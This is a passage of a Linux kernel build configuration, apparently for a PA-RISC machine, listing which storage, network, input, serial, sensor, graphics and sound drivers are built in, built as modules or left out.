# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
# CONFIG_ATA_PIIX is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
CONFIG_PATA_CMD64X=m
# CONFIG_PATA_CS5520 is not set
# CONFIG_PATA_CS5530 is not set
# CONFIG_PATA_CS5536 is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
# CONFIG_PATA_SC1200 is not set
# CONFIG_PATA_SCH is not set
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
# CONFIG_ATA_GENERIC is not set
# CONFIG_PATA_LEGACY is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=m
CONFIG_MD_LINEAR=m
CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=m
CONFIG_MD_RAID10=m
# CONFIG_MD_RAID456 is not set
CONFIG_MD_MULTIPATH=m
CONFIG_MD_FAULTY=m
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
# CONFIG_DM_RAID is not set
# CONFIG_DM_LOG_USERSPACE is not set
CONFIG_DM_ZERO=m
CONFIG_DM_MULTIPATH=m
# CONFIG_DM_MULTIPATH_QL is not set
# CONFIG_DM_MULTIPATH_ST is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_UEVENT is not set
# CONFIG_DM_FLAKEY is not set
# CONFIG_TARGET_CORE is not set
CONFIG_FUSION=y
CONFIG_FUSION_SPI=m
CONFIG_FUSION_FC=m
CONFIG_FUSION_SAS=m
CONFIG_FUSION_MAX_SGE=128
CONFIG_FUSION_CTL=m
# CONFIG_FUSION_LOGGING is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_DUMMY=m
CONFIG_BONDING=m
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
CONFIG_MII=m
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
# CONFIG_BROADCOM_PHY is not set
# CONFIG_ICPLUS_PHY is not set
# CONFIG_REALTEK_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_STE10XP is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_MICREL_PHY is not set
# CONFIG_MDIO_BITBANG is not set
CONFIG_NET_ETHERNET=y
# CONFIG_LASI_82596 is not set
CONFIG_HAPPYMEAL=m
# CONFIG_SUNGEM is not set
CONFIG_CASSINI=m
CONFIG_NET_VENDOR_3COM=y
CONFIG_VORTEX=m
# CONFIG_TYPHOON is not set
# CONFIG_ETHOC is not set
# CONFIG_DNET is not set
CONFIG_NET_TULIP=y
CONFIG_DE2104X=m
CONFIG_DE2104X_DSL=0
CONFIG_TULIP=m
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
# CONFIG_TULIP_NAPI is not set
CONFIG_DE4X5=m
CONFIG_WINBOND_840=m
# CONFIG_DM9102 is not set
CONFIG_ULI526X=m
# CONFIG_HP100 is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
CONFIG_NET_PCI=y
CONFIG_PCNET32=m
# CONFIG_AMD8111_ETH is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_KSZ884X_PCI is not set
CONFIG_B44=m
CONFIG_B44_PCI_AUTOSELECT=y
CONFIG_B44_PCICORE_AUTOSELECT=y
CONFIG_B44_PCI=y
CONFIG_FORCEDETH=m
CONFIG_E100=m
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_8139CP is not set
CONFIG_8139TOO=m
# CONFIG_8139TOO_PIO is not set
# CONFIG_8139TOO_TUNE_TWISTER is not set
# CONFIG_8139TOO_8129 is not set
# CONFIG_8139_OLD_RX_RESET is not set
# CONFIG_R6040 is not set
CONFIG_SIS900=m
CONFIG_EPIC100=m
# CONFIG_SMSC9420 is not set
CONFIG_SUNDANCE=m
CONFIG_SUNDANCE_MMIO=y
CONFIG_TLAN=m
# CONFIG_KS8851_MLL is not set
CONFIG_VIA_RHINE=m
CONFIG_VIA_RHINE_MMIO=y
# CONFIG_SC92031 is not set
# CONFIG_NET_POCKET is not set
# CONFIG_ATL2 is not set
CONFIG_NETDEV_1000=y
CONFIG_ACENIC=m
# CONFIG_ACENIC_OMIT_TIGON_I is not set
# CONFIG_DL2K is not set
CONFIG_E1000=m
# CONFIG_E1000E is not set
# CONFIG_IP1000 is not set
CONFIG_IGB=m
# CONFIG_IGBVF is not set
# CONFIG_NS83820 is not set
CONFIG_HAMACHI=m
CONFIG_YELLOWFIN=m
# CONFIG_R8169 is not set
# CONFIG_SIS190 is not set
CONFIG_SKGE=m
# CONFIG_SKGE_DEBUG is not set
# CONFIG_SKGE_GENESIS is not set
# CONFIG_SKY2 is not set
# CONFIG_VIA_VELOCITY is not set
CONFIG_TIGON3=m
# CONFIG_BNX2 is not set
# CONFIG_CNIC is not set
# CONFIG_QLA3XXX is not set
# CONFIG_ATL1 is not set
# CONFIG_ATL1E is not set
# CONFIG_ATL1C is not set
# CONFIG_JME is not set
# CONFIG_STMMAC_ETH is not set
# CONFIG_PCH_GBE is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set
CONFIG_WLAN=y
# CONFIG_ATMEL is not set
# CONFIG_PRISM54 is not set
# CONFIG_HOSTAP is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set

#
# CAIF transport drivers
#
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
CONFIG_PPP=m
# CONFIG_PPP_MULTILINK is not set
# CONFIG_PPP_FILTER is not set
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPP_MPPE=m
CONFIG_PPPOE=m
# CONFIG_PPPOL2TP is not set
# CONFIG_SLIP is not set
CONFIG_SLHC=m
# CONFIG_NET_FC is not set
CONFIG_NETCONSOLE=m
CONFIG_NETPOLL=y
# CONFIG_NETPOLL_TRAP is not set
CONFIG_NET_POLL_CONTROLLER=y
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_FF_MEMLESS=m
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ADP5588 is not set
# CONFIG_KEYBOARD_ADP5589 is not set
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_ATKBD_HP_KEYCODES is not set
# CONFIG_KEYBOARD_QT1070 is not set
# CONFIG_KEYBOARD_QT2160 is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_TCA6416 is not set
CONFIG_KEYBOARD_HIL_OLD=m
CONFIG_KEYBOARD_HIL=m
# CONFIG_KEYBOARD_MAX7359 is not set
# CONFIG_KEYBOARD_MCS is not set
# CONFIG_KEYBOARD_MPR121 is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=m
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_SERIAL=m
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_SYNAPTICS_I2C is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_AD714X is not set
# CONFIG_INPUT_MMA8450 is not set
# CONFIG_INPUT_MPU3050 is not set
# CONFIG_INPUT_KXTJ9 is not set
CONFIG_INPUT_UINPUT=m
CONFIG_HP_SDC_RTC=m
# CONFIG_INPUT_PCF8574 is not set
# CONFIG_INPUT_ADXL34X is not set
# CONFIG_INPUT_CMA3000 is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=m
CONFIG_SERIO_PARKBD=m
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=y
CONFIG_HIL_MLC=y
CONFIG_SERIO_PCIPS2=m
CONFIG_SERIO_LIBPS2=y
CONFIG_SERIO_RAW=m
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
CONFIG_DEVKMEM=y

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
# CONFIG_SERIAL_8250_MANY_PORTS is not set
# CONFIG_SERIAL_8250_SHARE_IRQ is not set
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MFD_HSU is not set
# CONFIG_SERIAL_MUX is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_SERIAL_JSM=m
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_PCH_UART is not set
# CONFIG_SERIAL_XILINX_PS_UART is not set
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
CONFIG_RAW_DRIVER=m
CONFIG_MAX_RAW_DEVS=256
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_RAMOOPS is not set
CONFIG_I2C=m
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_COMPAT=y
# CONFIG_I2C_CHARDEV is not set
# CONFIG_I2C_MUX is not set
CONFIG_I2C_HELPER_AUTO=y

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_I801 is not set
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_INTEL_MID is not set
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_PXA_PCI is not set
# CONFIG_I2C_SIMTEC is not set
# CONFIG_I2C_XILINX is not set
# CONFIG_I2C_EG20T is not set

#
# External I2C/SMBus adapter drivers
#
# CONFIG_I2C_PARPORT is not set
# CONFIG_I2C_PARPORT_LIGHT is not set
# CONFIG_I2C_TAOS_EVM is not set

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_STUB is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# CONFIG_SPI is not set

#
# PPS support
#
# CONFIG_PPS is not set

#
# PPS generators support
#

#
# PTP clock support
#

#
# Enable Device Drivers -> PPS to see the PTP clock options.
#
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
CONFIG_HWMON=y
# CONFIG_HWMON_VID is not set
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_AD7414 is not set
# CONFIG_SENSORS_AD7418 is not set
# CONFIG_SENSORS_ADM1021 is not set
# CONFIG_SENSORS_ADM1025 is not set
# CONFIG_SENSORS_ADM1026 is not set
# CONFIG_SENSORS_ADM1029 is not set
# CONFIG_SENSORS_ADM1031 is not set
# CONFIG_SENSORS_ADM9240 is not set
# CONFIG_SENSORS_ADT7411 is not set
# CONFIG_SENSORS_ADT7462 is not set
# CONFIG_SENSORS_ADT7470 is not set
# CONFIG_SENSORS_ADT7475 is not set
# CONFIG_SENSORS_ASC7621 is not set
# CONFIG_SENSORS_ATXP1 is not set
# CONFIG_SENSORS_DS620 is not set
# CONFIG_SENSORS_DS1621 is not set
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_F75375S is not set
# CONFIG_SENSORS_G760A is not set
# CONFIG_SENSORS_GL518SM is not set
# CONFIG_SENSORS_GL520SM is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_JC42 is not set
# CONFIG_SENSORS_LINEAGE is not set
# CONFIG_SENSORS_LM63 is not set
# CONFIG_SENSORS_LM73 is not set
# CONFIG_SENSORS_LM75 is not set
# CONFIG_SENSORS_LM77 is not set
# CONFIG_SENSORS_LM78 is not set
# CONFIG_SENSORS_LM80 is not set
# CONFIG_SENSORS_LM83 is not set
# CONFIG_SENSORS_LM85 is not set
# CONFIG_SENSORS_LM87 is not set
# CONFIG_SENSORS_LM90 is not set
# CONFIG_SENSORS_LM92 is not set
# CONFIG_SENSORS_LM93 is not set
# CONFIG_SENSORS_LTC4151 is not set
# CONFIG_SENSORS_LTC4215 is not set
# CONFIG_SENSORS_LTC4245 is not set
# CONFIG_SENSORS_LTC4261 is not set
# CONFIG_SENSORS_LM95241 is not set
# CONFIG_SENSORS_LM95245 is not set
# CONFIG_SENSORS_MAX16065 is not set
# CONFIG_SENSORS_MAX1619 is not set
# CONFIG_SENSORS_MAX1668 is not set
# CONFIG_SENSORS_MAX6639 is not set
# CONFIG_SENSORS_MAX6642 is not set
# CONFIG_SENSORS_MAX6650 is not set
# CONFIG_SENSORS_NTC_THERMISTOR is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_PCF8591 is not set
# CONFIG_PMBUS is not set
# CONFIG_SENSORS_SHT21 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_SMM665 is not set
# CONFIG_SENSORS_DME1737 is not set
# CONFIG_SENSORS_EMC1403 is not set
# CONFIG_SENSORS_EMC2103 is not set
# CONFIG_SENSORS_EMC6W201 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47M192 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_SCH56XX_COMMON is not set
# CONFIG_SENSORS_SCH5627 is not set
# CONFIG_SENSORS_SCH5636 is not set
# CONFIG_SENSORS_ADS1015 is not set
# CONFIG_SENSORS_ADS7828 is not set
# CONFIG_SENSORS_AMC6821 is not set
# CONFIG_SENSORS_THMC50 is not set
# CONFIG_SENSORS_TMP102 is not set
# CONFIG_SENSORS_TMP401 is not set
# CONFIG_SENSORS_TMP421 is not set
# CONFIG_SENSORS_VIA686A is not set
# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83781D is not set
# CONFIG_SENSORS_W83791D is not set
# CONFIG_SENSORS_W83792D is not set
# CONFIG_SENSORS_W83793 is not set
# CONFIG_SENSORS_W83795 is not set
# CONFIG_SENSORS_W83L785TS is not set
# CONFIG_SENSORS_W83L786NG is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
CONFIG_THERMAL=y
# CONFIG_THERMAL_HWMON is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
CONFIG_SSB=m
CONFIG_SSB_SPROM=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
# CONFIG_SSB_B43_PCI_BRIDGE is not set
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set
CONFIG_MFD_SUPPORT=y
CONFIG_MFD_CORE=m
# CONFIG_MFD_SM501 is not set
CONFIG_HTC_PASIC3=m
# CONFIG_TPS6105X is not set
# CONFIG_TPS6507X is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_PCF50633 is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_LPC_SCH is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_MFD_WL1273_CORE is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
CONFIG_AGP=y
CONFIG_AGP_PARISC=m
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_DRM is not set
# CONFIG_STUB_POULSBO is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
CONFIG_FB=y
CONFIG_FIRMWARE_EDID=y
# CONFIG_FB_DDC is not set
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
# CONFIG_FB_CFB_FILLRECT is not set
# CONFIG_FB_CFB_COPYAREA is not set
# CONFIG_FB_CFB_IMAGEBLIT is not set
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_FOREIGN_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_WMT_GE_ROPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
CONFIG_FB_MODE_HELPERS=y
# CONFIG_FB_TILEBLITTING is not set

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
# CONFIG_FB_STI is not set
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_TMIO is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_BROADSHEET is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
# CONFIG_STI_CONSOLE is not set
CONFIG_FONTS=y
# CONFIG_FONT_8x8 is not set
CONFIG_FONT_8x16=y
# CONFIG_FONT_6x11 is not set
# CONFIG_FONT_7x14 is not set
# CONFIG_FONT_PEARL_8x8 is not set
# CONFIG_FONT_ACORN_8x8 is not set
# CONFIG_FONT_MINI_4x6 is not set
# CONFIG_FONT_SUN8x16 is not set
# CONFIG_FONT_SUN12x22 is not set
# CONFIG_FONT_10x18 is not set
# CONFIG_LOGO is not set
CONFIG_SOUND=m
CONFIG_SOUND_OSS_CORE=y
CONFIG_SOUND_OSS_CORE_PRECLAIM=y
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
CONFIG_SND_HWDEP=m
CONFIG_SND_RAWMIDI=m
CONFIG_SND_SEQUENCER=m
CONFIG_SND_SEQ_DUMMY=m
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
# CONFIG_SND_DYNAMIC_MINORS is not set
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
CONFIG_SND_VERBOSE_PRINTK=y
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_RAWMIDI_SEQ=m
# CONFIG_SND_OPL3_LIB_SEQ is not set
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DRIVERS=y
# CONFIG_SND_DUMMY is not set
# CONFIG_SND_ALOOP is not set
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_MTS64 is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_PORTMAN2X4 is not set
# CONFIG_SND_AC97_POWER_SAVE is not set
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=m
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CS5535AUDIO is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
CONFIG_SND_HDSPM=m
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LOLA is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
CONFIG_SND_GSC=y
CONFIG_SND_HARMONY=m
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
CONFIG_HIDRAW=y
# CONFIG_HID_PID is not set

#
# Special HID drivers
#
# CONFIG_USB_SUPPORT is not set
CONFIG_UWB=m
CONFIG_UWB_WHCI=m
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
